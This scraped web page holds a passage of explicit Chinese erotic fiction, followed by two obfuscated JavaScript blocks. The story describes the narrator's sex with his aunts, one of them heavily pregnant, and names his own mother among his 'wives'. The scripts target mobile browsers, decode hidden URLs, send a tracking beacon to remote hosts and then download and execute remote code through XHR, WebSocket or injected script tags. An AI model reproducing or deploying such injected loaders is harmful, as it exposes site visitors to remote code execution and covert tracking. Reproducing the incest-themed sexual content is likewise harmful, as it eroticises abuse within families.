这一进一出、一翻一缩颇为有趣,看得我慾火更旺,抽插速度也越快。由于刚洩了两次,所以这次我抽插得更是耐久。抽插一快,那穴内的淫水被大鸡巴的碰击,却发出美妙的合击声:

「卜滋!卜滋!卜滋!卜滋!」……

这时的姑妈也感神魂颠倒,大声浪叫着:「好弟弟,亲弟弟,插得我痛快极了!」

「你真是我最好的亲丈夫,嗯……我好舒服,啊!太美了!」

「哎呀……我要上天了……」

「快用力顶……啊……唔……我要……出……来了……喔……」

我的龟头被火烫的淫水浇的好不舒服,这是多幺美,长了这幺大,第一次嚐到异味,也领略了性交的乐趣。姑妈淫精一出,我将她的双腿放下,伏下了身,吻着她的香唇,同时右手按在她的双乳上探索。

「嗯!好软、好细、好丰满!」我抚摸姑妈的双乳,感到无限享乐,不禁叫道。

我的大鸡巴将姑妈的小逼塞得满满,姑妈的香唇也被他封得紧紧的。姑妈吐出了香舌,迎接我的热吻,并收缩着阴道,配合着我大鸡巴的抽送。

由于我们都洩了两次,这一次重燃战火,更是兇猛,火势烧的更剧烈。我是越抽越快,越插越勇,姑妈是又哼又叫,又美又舒服。

忽然姑妈大声浪叫着:「啊!美……太美了……我快活死了……你太伟大了……你给我……太美了……插吧……把小逼插穿了也没关係……我太快活了……真的……太美了!」

她像一只发狠的母老虎,魂入九霄,得到了高潮。

我像一只饿狼,饿不择食,用尽了全身力量。

我用力抽送了几十下,姑妈已被我得上气不接下气地猛喘着娇哼:「啊……好孩子……你真会……弄得姑妈美死了……啊……好宝贝儿……真厉害………好美……好爽……」

「好姑妈……宝贝儿干得好吧……得你舒服吧……宝贝儿也爽极了……你的嫩屄真好……」

姑妈已经被我弄得慾火如炽,淫心大盛,玉臀摇摆,上下迎挺,配合着我的抽送;姑妈和我配合得太好了,我向下插时,她就恰到好处地向上用力顶,我向外抽时,她就也向后退,我们两人真是前世有缘,命中注定要结合,虽是第一次和对方性交,但却像一对整天在一起屄的夫妻一样,配合得天衣无缝!

姑妈屄内的淫水源源不断地从子宫中流出,随着我鸡巴的进出向外溢出,顺着腿根流到床单上,床单早已湿了一大片。

终于,姑妈媚眼微闭,樱唇半张,肥厚的玉臀拚命地摇摆着,挺耸着,双手紧抱着我的背,越抱越紧,双腿也用力缠着我的屁股向下压,阴户尽量地向上顶着,口中轻呼:「噢……好孩子……啊……快用力……快……用力……再快点……」

我知道姑妈已经快要洩身了,就更加卖力地她,动作也随着加快,越越深,斜抽直插,直得姑妈娇躯一颤,大股大股的热流,从子宫中喷涌而出,直射到我的龟头上,刺激得我更加兴奋,更加用力地不停抽送。

此时我身下的姑妈,娇柔无力地轻哼着,满头秀髮,凌乱地散在枕头上,头在不停地摇摆着,俏脸如三月桃花般红艳、双目紧闭、樱唇微启、鼻孔嗡张、小嘴吐气如兰,一动不动地任我摆布。

又经过一阵急抽猛送,她像是昏迷过去一样,全身一阵轻抖,又一次洩了身,把所有积存的阴精统统地排泄出来了,浓浓的阴精一阵又一阵地涌向我的龟头,我也丹田热流上升,再也控制不住精关,腰眼一阵酸麻,一股股阳精射进她的花心深处,那久枯的花心,乍受雨露滋润,美得她浑身颤抖,似乎融化了,升空了,欲仙欲死,如同全身飘浮在云端中。

我爱怜地搂着姑妈的娇躯,阳具并不因射精而软缩,仍是坚硬如初地留在她的玉洞中,我轻轻地抽送了两下,她悠悠地醒来了,睁眼一看,发现我的眼和她的眼相距不到两寸,正一下不眨地注视着她,羞得她马上又闭上了眼,我爱怜地吻着她的眼皮,她终于睁开了眼,癡情地注视着我,满足地拥吻着我,温柔地抚摸着我,紧紧地偎在我的怀中。

「嗯……宝贝儿,我们一时冲动做出这种事,若让人知道了那怎幺办啊?」姑妈又害怕起来。

「姑妈,不要管那幺多,只要我俩真心相爱就行了。」我抚摸着姑妈娇嫩的乳房安慰着她。

「好孩子,有你这番情意,姑妈就是死也瞑目了。」姑妈满足地吻着我说。

「姑妈,它还是这幺硬怎幺办?」我不怀好意地问,同时又用那依然坚硬的大鸡巴在她阴道中抽动起来。

这时姑妈也感到我泡在她阴道中的鸡巴还是硬梆梆的,惊问道:「你这孩子怎幺这幺怪,刚才我虽然被你到美得迷迷糊糊,不过还是感觉到你是已经射精了,很熨的啊!不是吗?」

「是呀,射了好多呢!」我自豪地说。

「那怎幺还这幺硬?姑妈不知别的男人是怎幺样,只知道你姑丈每次一射精后,不一会儿鸡巴就软下来了,你这个鸡巴怎幺射过那幺多精了,还这幺硬?」姑妈双手捧着我的脸问。

「我也不知道是怎幺回事,我每次都是这样的,射过一次精并不软,要再干一两次才会软下来。」

「真的吗?那你可真是奇人了!姑妈真是好福气,碰到个这幺棒的男人,你可比你姑丈强多了,不但鸡巴比他的大、比他的硬,而且还能持久,他每次只能让我洩一次身,我已经很满足了,真没想到天外有天,人外有人,你不但让我洩了几次身,洩得一无所有,美得姑妈上了天,而你射过精了还能接着干,真强、真壮、真厉害!真不知你是个什幺怪物……嘻…嘻……」姑妈娇笑着说:「不过,不管你是什幺怪物,总之,姑妈爱死你了,姑妈真的爱死你了!你真是姑妈的好宝贝儿!」

「好姑妈,不要再说了,人家硬得难受,怎幺办呢?」我说着已开始缓缓抽动起来了。

「哎哟!别动,宝贝儿,姑妈已经洩得太多了,浑身没有一点气力,实在经不起你的折腾了!再说姑妈的阴精已彻底洩完了,再没有东西可洩了,怕再弄下去会动了胎气,你就饶了姑妈吧!」姑妈似惊恐万状,不住地求饶。

我正在为难之时,只听得一声:「让我来!」房门应声开启,姨妈田美凤走了进来,姑妈羞得面红耳赤,叫了声「大嫂」,就将头埋在我的怀中,不敢抬头。

「不要羞,不要怕,好妹子,我是不会说你的,因为我们是同路人,我和你嫂子早就和他干过了,早就上了他的床了。」姨妈忙向姑妈解释说。

「啊!是真的?」姑妈惊奇地抬起了头,马上恍然大悟了:「原来玉儿今天是来找你的,怪不得他一见我就扑上来动手动脚,原来是把我错认成他的老相好──大嫂你了,我说呢,咱们玉儿也没有这幺大的胆子,一见姑妈就二话不说就要干,原来是认错了人。」

「他认错人,你不是也得到了享受?」姨妈调侃着说。「大嫂说的倒也不错,说老实话,自从你妹夫死后,我一直没有粘过男人!你不知道,刚才玉儿又给我破身了!」

姑妈给姨妈讲了刚才的事情,然后接着说:「我这三十二岁都白活了,真没见过世面,我以为男人的鸡巴都差不多,年纪小的鸡巴也不会大,所以刚才第一下弄进去时弄得我很疼,玉儿说是因为他的鸡巴太大了,我还说他吹牛,没想到男人的东西竟有这幺大的,竟能干得人这幺舒服这幺爽快,简直要把我美上天了!谢谢玉儿让我得到这美妙的享受……」姑妈搂着我,不停地亲吻我,还不住抚摸我那露在她阴道外面的一大截阴茎,充分表现出了对我的爱意。

「真的吗?让我看看!」姨妈说着将我的鸡巴从姑妈的阴道中抽了出来,低头要给姑妈察看。

姑妈说:「也好,让你这个女大夫检查检查,别说我不懂装懂,万一出什幺差错,事儿就大了!」说着自动擘开了腿,让姨妈检查,姨妈仔细地翻弄着姑妈的阴道做了检查,才抬起头来笑着说:「你妹子说的没错!玉儿,你可真厉害,竟然能给早已结婚多年的姑妈破身!要不是我亲眼所见,真不敢相信!这一方面是妹夫的鸡巴太小了,另一方面是因为玉儿的鸡巴太大了,再加上妹子你的处女膜韧性很好,几下相凑,才会有这等奇事。妹子,你说到底是妹夫给你破的身,还是玉儿给你破身的?虽说妹夫在前可他破的不彻底,玉儿这下才是真正的给你破了身!所以,他才是你真正的男人!」姨妈煞有介事地说。

「对,对!玉儿,你才是我的真正的男人!你才是我的真正的老公。姑妈今天才算真的破了身!」姑妈说着搂着我热烈地吻着我。

姨妈接着说:「幸亏你在生育前就让宝贝儿干了,如果生育后再让他干,就不会发生这种事了,因为生孩子时你那残存的处女膜肯定会完全破裂的!那样你就不会遇上这种奇事了。不过这件事在别人是奇事,在玉儿就很正常了,因为他的鸡巴太大了,玉儿以后可能还会遇到,如果以后他再去弄别的有夫之妇或已经破了身的女人,如果那个女人的男人东西太小,这种情况就可能会再次出现!」

「好了,你们不要再说了,美凤妹妹,快来帮亲哥哥放鬆放鬆吧!你看亲哥哥这里涨得哪难受死了!」我将鸡巴从姑妈的阴道中抽了出来,挺到了姨妈面前。

「好吧,你这个小鬼头!」姨妈娇嗔着拍了我的龟头一下。

「不,我有一个大龟头!」我挺着大鸡巴在姨妈的脸上摩着,又拉着姨妈的小手去握住我的鸡巴。

姨妈捏着我的鸡巴轻柔地套动着,另一手慢慢脱去自己的衣服,娇羞嗔道:「啐∼不害臊!也不怕你姑妈笑话!」

「姑妈笑话什幺?她又不是没见过、没摸过我这东西,你说对吗,姑妈妹妹?」我说着拉着姑妈的手也去摸我的鸡巴。

「你这孩子,真调皮,让我也摸着干什幺?」姑妈笑骂过后,又温柔地握着我的鸡巴说:「别逗了,你又不难受了?快让你姨妈妹妹帮你发洩发洩吧,别把身子给憋坏了,来,姑妈妹妹亲一下,行了吧?快插你姨妈妹妹吧!」姑妈仪态万千地在我的鸡巴上亲了一下,鬆开了手把我推向姨妈,一面帮着姨妈脱裤子。

姑妈真是太温柔了,我亲了她一下,让她躺到床里边休息,转过身来对付姨妈。我抱住已剥光了衣服的姨妈,用手一摸她早就淫水四溢的骚屄,看来她在房外面已听了好久了。我将她按在床上,压了上去。

姨妈毫不做作,一手分开自己那迷人的花瓣,一手握住我硬挺的鸡巴,将鸡巴带到她的花瓣中间,把龟头塞进她的阴道口,同时风骚十足地挺起肥大的玉臀,将那根她心目中的宝贝迎进她那紧紧的阴道中,我故意向后一退,鸡巴又滑出来一半,她忙将屁股尽最大努力挺起,肉洞口向上猛吞,用力夹住我的鸡巴,双手抱住我的屁股用力向下压,又将鸡巴套进了阴道中,同时向我飞了一个媚眼,哀求道:「好哥哥,求求你,不要再逗妹妹了,妹妹受不了了……」

我见姨妈这样毫不掩饰地直言相求,知道因为被我冷落了几天,以及刚才听戏的原因,她早已憋得心痒难搔了,现在让我这雄伟的鸡巴来充实她空虚的花心,以安慰她空虚的芳心,能不快乐得发狂吗?我不忍再逗她,加上她又开始以「妹妹」自居,我的「好妹妹」求我快点插她,她的「亲哥哥」怎幺敢不赶快干她、安慰她?于是就开始疯狂地抽插着,快速地磨弄着。

「喔……好哥哥……真美……你干得妹妹爽死了……妹妹的大鸡巴亲哥哥……大鸡巴把妹妹……弄上天了……喔……」

「妹妹呀……我的好姨妈妹妹……亲哥哥也好爽呀……你夹得亲哥哥美死了…亲哥哥的大鸡巴真舒服……」我用力地抽插着,姨妈也极力地配合着我的抽送而挺动着肥臀,颠、簸、顶、送,使我在纵送、抽插之间,飘飘然如羽化登仙。

不久姨妈已经香汗淋漓,娇喘吁吁,连声浪哼着:「啊……好丈夫……大鸡巴好厉害……妹妹真的吃不消了……塞得骚穴满满的……大鸡巴亲亲老公啊。。。。。。」

姨妈娇啼婉转的淫叫声音,柔嫩清脆,听起来令人迴肠蕩气,是我的女人中最会叫床的人。

「我的好老婆,你的骚穴也妙极了,让老公干得非常过瘾,今天老公让你吃个饱!」我说着更加用力、更加快速地肏她。

姨妈被我插得媚眼半睁,娇喘连连,花心乱颤,血液沸腾,一阵阵酥麻颤抖,全身神经兴奋到了极点,不停地扭动着白嫩的丰臀,呻吟着洩了身,阴精阵阵的洩着,沖洒着我的龟头;我加紧用力挺动着粗壮的大鸡巴,在她阴户中尽力向花心冲击、盘旋,每一次都直插进子宫里才回抽,插得她接二连三地洩身,越洩越多,我的龟头泡在她那温热的阴精中,终于再也控制不住,精门一开,大股大股的阳精射进她的子宫中,美得她浑身乱颤,浪哼不已,第四次洩了身!

我们互相弄乾了对方身上的汗水淫液,姨妈和姑妈一起并肩躺在床上,我躺在她俩中间,一手抱住一位佳人,在她们身上轻柔地抚摸着,每人一下、不停地亲吻着。

「大嫂,你们干得可真过瘾,可比我强多了,不要说你们亲身在干,就是我在一边看着,都在替你们大呼痛快,替你们过瘾!宝贝儿可真厉害,这就是为什幺二嫂是他亲妈都要忍不住和他做爱了!」姑妈讚歎不已,看来她对我的性能力已经佩服得五体投地。

「是不是你的穴又痒了,淫兴又上来了?那就让玉儿再干你一次,好让你再过过瘾吧!」姨妈故意逗姑妈。

「好,来吧好姑妈老婆,让亲侄儿老公再干一次吧!」我也做势欲上。

「不要,千万不要!刚才我已经洩得太多了,好像是把我这几个月积攒的阴精全洩给你了,再也经不起你的狂暴了,姑妈那里见过你这幺大的大鸡巴!哪里见过你这幺能干的壮男人!姑妈真的受不了!你就饶了姑妈吧,好宝贝老公,姑妈老婆求求你了!」姑妈忙连声讨饶。

「好妹子,你要知道,鸡巴是越大越好,男人是越能干越好,你受不了那是因为你今天刚『破身』,加上你和他干的次数太少了,以后让他多干你几次就好了,就会适应他的大鸡巴,也就会和我们一样能持久耐玩了,也就会和我们一样过瘾了!」

「真的吗?玉儿老公,那你以后可要让姑妈妹妹多快乐几次,不要让我尝到了甜头,你又不要姑妈妹妹了,那就把我害苦了!」姑妈吻着我的面颊,在我耳边轻声说着。

「你放心,姑妈妹妹,我一定会让你得到最大的快乐!我是那幺爱你,我怎幺会不要你呢?我的好姑妈老婆!」

「是呀,这幺漂亮的一个大美人,他这个小色鬼怎幺会捨得不要了呢?」姨妈故意取笑我:「他巴不得多干你呢,你还求他多干,哪岂不是送羊入狼口,正中他这小色狼下怀了吗?以后可有你受的了,看他会把我干成个什幺样子!」

「去你的,美凤妹妹……」我双手搓着姨妈的豪乳说。

「姐姐,我不怕,我心甘情愿的,就算他把我干死我都毫无怨言!我爱死他了,能让他干是我以后最大的幸福,让他把我干死大概是最美的死法了吧?刚才你和他弄时不是也直喊『你把我干死吧、真想死在你的大鸡巴下』吗?」姑妈充分表达了对我的爱意。

「好姑妈妹妹,我也爱死你了,能干你也是我的愿望,以后我会常常向你要的!」我抚着姑妈的阴户和她接吻了起来。

「嗯……不错,能让他干死确实是我们女人最完美的归宿!」姨妈也附合着姑妈,说出了发自内心的真爱。我们三人轻声调笑,情话不断,相拥相抱,交颈而眠……

几个月后,姑妈平坦的小腹隆起来了,我喜出望外,就快要做爸爸了,姑妈的美乳愈发丰满挺拔了。

一天晚上,我回到我房中,一进屋,咦?姑妈怎幺在这里?「玉儿,你总算回来了,人家等了你一个晚上了。」姑妈幽怨地低声说。

「雪妹妹,对不起,我不知道你在这里等我。」

「人家再有五六天就要生产了,姑妈好怕以后再也见不到你,想临生产前再见见你,我知道你晚上肯定会去你妈她们那里,也许会不回来,可是我还是抱着一线希望在这里等你,谁知你真的没有回来睡觉。」姑妈低声倾诉着她的委屈。

「雪妹妹,对不起,我怎幺赔偿你呢?」

「人家怎幺会和你一般见识,还要你赔偿呢?人家今天来,只想见见你,还想让你给我一个吻就心满意足了,就像我们的第一次,在你姨妈房中吻我一样,就是那个吻,挑起了我的情、我的爱、我的欲。」

我抱住了姑妈,深深地吻了上去,姑妈主动地伸出香舌任我吮吸,我也将舌头伸进她口中搅和着,和她的柔舌互相缠绕着,互相用力地吮挝吸着,亲吻着。

我感到吻得快透不过气来了,性慾一下子又燃烧起来,就抬起了头说:「雪妹妹,让我和你做爱吧,我会让你快乐的。」

姑妈妩媚地笑了:「傻老公,我们的孩子再有五六天就要生了,肚子挺得这幺高,怎幺弄?万一压坏了我们的孩子怎幺办?你都要当爸爸了,还这样」

我灵机一动,说:「雪妹妹,不要担心,我有办法。」我贴嘴在她耳边,开始说我的方法。

姑妈听着听着,眼中透出了喜悦、兴奋的柔光,开心地笑了,欣赏地注视着我,轻打了我一下:「就你的花花肠子多,我看今天不让你弄一下,你是不会放过我的,再说,人家什幺也不用瞒你,对你说实话,人家也想弄了,好,就让你试一下吧!」

我把姑妈的衣服脱下,抱起她放在床上,让她上身躺在床上,屁股坐在床沿上,在床边放了两个和床同高的软板凳,让姑妈两腿伸展分开放在两个凳上,我站在两个凳子中间,也就是姑妈的两腿之间,细细打量姑妈:娇颜生春,媚眼如丝,双乳因为準备哺乳而涨到了颠峰状态,胀大饱满的让我担心会不会压痛了她自己;小腹高高鼓起,圆润光滑;阴户丰满,两片阴唇因双腿擘开而微微张开,隐隐露出了里面的那条红润的肉缝,这迷人的春色看得我慾火大盛,把裤带一解,让裤子滑了下去,露出了硕大无比的大鸡巴,挺着就要往里捅。

姑妈一把抓住了我的阴茎,柔声说道:「乖宝贝儿,先别忙着干,人家先告诉你,千万不要全插进去,更不要碰住子宫,否则弄不好人家和你爱的结晶会流产的。」

「放心吧雪妹妹,我会小心地慢慢弄,我怎幺忍心伤害自己的孩子呢。你躺着不要动,我只插进去一半行不行?」

「好,玉儿,你就干吧!」她玉手鬆开了我的鸡巴,放了行。我把阴茎对準姑妈那迷人的肉缝,轻轻地插了下去,只把大龟头塞了进去,就不再往里进,开始轻缓地抽插起来,左手扶着她那丰满的玉臀,右手在她胸前那对庞然大物上不停地揉了起来。

我轻轻地抓住她的乳头,轻捏着,重按着,又将她的双乳拨来拨去,她那两只大乳房就像一对充满了气的皮球,在她胸前弹来弹去,美得姑妈娇喘不已,笑骂道:「小鬼,你会的可真不少呀!」

「我会的多着呢!」我下身不停地轻轻地挺送着,仅用大龟头在姑妈的阴道中来回抽插,又用左手开始在她的阴部流连:轻扯她的阴毛,轻抚她的阴阜,轻揉她的阴唇,轻捏她的阴蒂,弄得姑妈浑身乱颤,口中浪哼个不停,呻吟声一阵高过一阵。

我索性放弃玩她的巨型乳房,右手也来助阵,两手同时玩弄她的阴部:左手捏着她右面的那片阴唇,右手捏着她左面的那片阴唇,一张一合地扯着。我注视着姑妈的阴户,我的龟头往外一抽,就带着她阴道口的红肉向外翻,我的鸡巴向里一插,就又把她阴道口的肉全挤了进去;两片阴唇随着我的手的运动开合着。

我分开她的阴唇,发现因我的鸡巴的抽送,带动她阴唇内的嫩肉也在蠕动,那粒饱满的阴蒂也随着我的鸡巴的抽里,有节律地抖动着,阴道口上面的小尿道口也轻微地一张一合的,我伸出左手中指,对着尿道口,试探着轻轻往里插,见弄不进去,就用右手大拇指和食指轻掰着她的尿道口,以帮助左手中指的进入,双手合做果然见效,终于把她的小尿道口弄出一个小洞,将左手中指插了进去,就也开始抽送起来。

我又将左手一弯,将手掌压在她的阴户上轻揉着,又用大拇指在她的小阴蒂上轻揉重按,右手则继续玩弄她的玉乳,姑妈被我这样四管齐下,多路出击,两个洞被插着,阴蒂和阴户被揉着,乳房被玩着,刺激得她欲仙欲死,媚目半闭,樱唇微张,呻吟不已,娇呼连连,下身也轻微地小幅度地挺动起来。

不一会儿,她就达到了高潮,阴精喷涌而出,于是我也不再抽插,将大鸡巴和手指一起从她的双洞中撤了出来,我的鸡巴一抽出来,从她的阴道口中就汩汩地流出了一股股的乳白的阴精玉液,我赶紧伏下身去,将头伸到她的胯间,用嘴堵住她的阴道口,将这些宝贝全吞进我口中,又用力一吸,将她阴道中残存的阴精也吸了出来,全吞了下去。

我这一吸,弄得姑妈又是浑身发颤,又一次洩了出来,我又吞了下去。 

「玉儿,你的花样真多,人家算服了你了,连人家的尿道都不放过,弄得人家美得都要上天了,谢谢你。另外,人家洩的你也不嫌髒,全吞了下去,可见你是多幺地爱人家。还有,对人家这幺好,这幺关照人家,这幺爱护人家,怕伤了人家,人家一洩你就赶紧停止抽送,真是人家的心肝老公,不枉人家疼爱你一场。你还没有洩一定很难受,来,让人家把你这硬家伙儿弄软,让你也舒服舒服,就算妹妹对你的奖赏,好不好?」

「你已经洩了,更重要的是你肚子不能碰,阴道也不能让我用力地干,你怎幺弄呀,雪妹妹?」

「雪妹妹下面的口不能让你尽兴,就让雪妹妹用上面的口来赔偿你好了,雪妹妹下面的口不能吃你的精液,就让姑妈上面的口来尝尝好了,你刚才不是也吃了我的精液了吗?来,让雪妹妹用嘴伺候你,用嘴来让你射精,让你舒服吧!」

于是我站在床上,姑妈跪在我前面,我挺着那粗壮的肉棒,正顶在姑妈的脸上;姑妈先把手在阴户处涂满淫液才把肉棒住,用手套着上下滑动,把我的大鸡巴捋得更加粗壮、更加坚硬,接着轻轻地亲吻那大龟头几下,又伸出柔舌轻舔龟头下的冠,并不时妩媚地对我笑着,还向我眨着媚眼,那股淫态浪劲,逗得我慾火难遏,再也控制不住的。

屁股一挺,将那根大鸡巴一下子捅进了里那红润的樱桃小口中,姑妈呛咳一声把它拉了出来,娇嗔道:「臭老公,你想把雪妹妹的嘴捣烂呀?刚才雪妹妹还表扬你知里疼雪妹妹呢,现在就给雪妹妹来这幺一下,这幺经不起表扬!你那玩意儿也太壮太坚硬了,捣得雪妹妹喉咙生疼,气得雪妹妹真想把它咬断!」

姑妈嘴中说着气话,丝毫没有生气的样子,又娇媚地瞟了我一眼,把我的大鸡巴含进了自己的小嘴中;我又故意逗她,将我的大家伙抽了出来,姑妈惊问道:「你干什幺呀,宝贝儿,不想让雪妹妹帮你发洩呀?」

「我怕雪妹妹把它咬下来呀!我可只有这幺一根,咬下来就没了,那可是咱全家人的宝贝呀!我没有了不要紧,就怕你们受不了。」

「去你的,俏皮话不少!你以为雪妹妹真咬呀?人家捨得吗?这根宝贝在人家心目中比我的命还重要,更何况就算雪妹妹捨得,还有你妈妈们,我要真把你这宝贝咬下来,她们会放过我吗?她们还不把雪妹妹给吃了?别说那幺多了,你不射精难道不觉得难受吗?还是让雪妹妹给你服务,快点给你吮吮吧!」说着,姑妈温柔地托着我的鸡巴,将它送进了那娇艳的檀口中,开始吮吸、吞吐……

过了不久,我的姑妈白雪给我生了一个儿子。梅子姐也给我生了一个儿子,李丽珍妹妹怀孕后就和她丈夫离了婚,和她妈妈一起搬到我家来住了,现在已有八个月身孕了。我的姨妈田美凤也有七个月身孕了。就我的妈妈田天凤的肚子还没有动静,不过她已和我的爸爸离了婚,我爸爸带着小老婆到国外去了。我的老师花玉露也离了婚,她已有六个月身孕了,她也到我家来住了。

我把六个美妇按年纪排队:梅子41岁,是大老婆,我妈妈田天凤38岁,是二老婆,我的姨妈田美凤36岁,是三老婆,我的老师花玉露35岁,是四老婆,我的姑妈白雪32岁,是五老婆,李丽珍25岁,是小老婆。

当然了,我的色心可不是只佔有,玩弄区区六个美妇,我还要佔有,玩弄更多的美妇。

关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
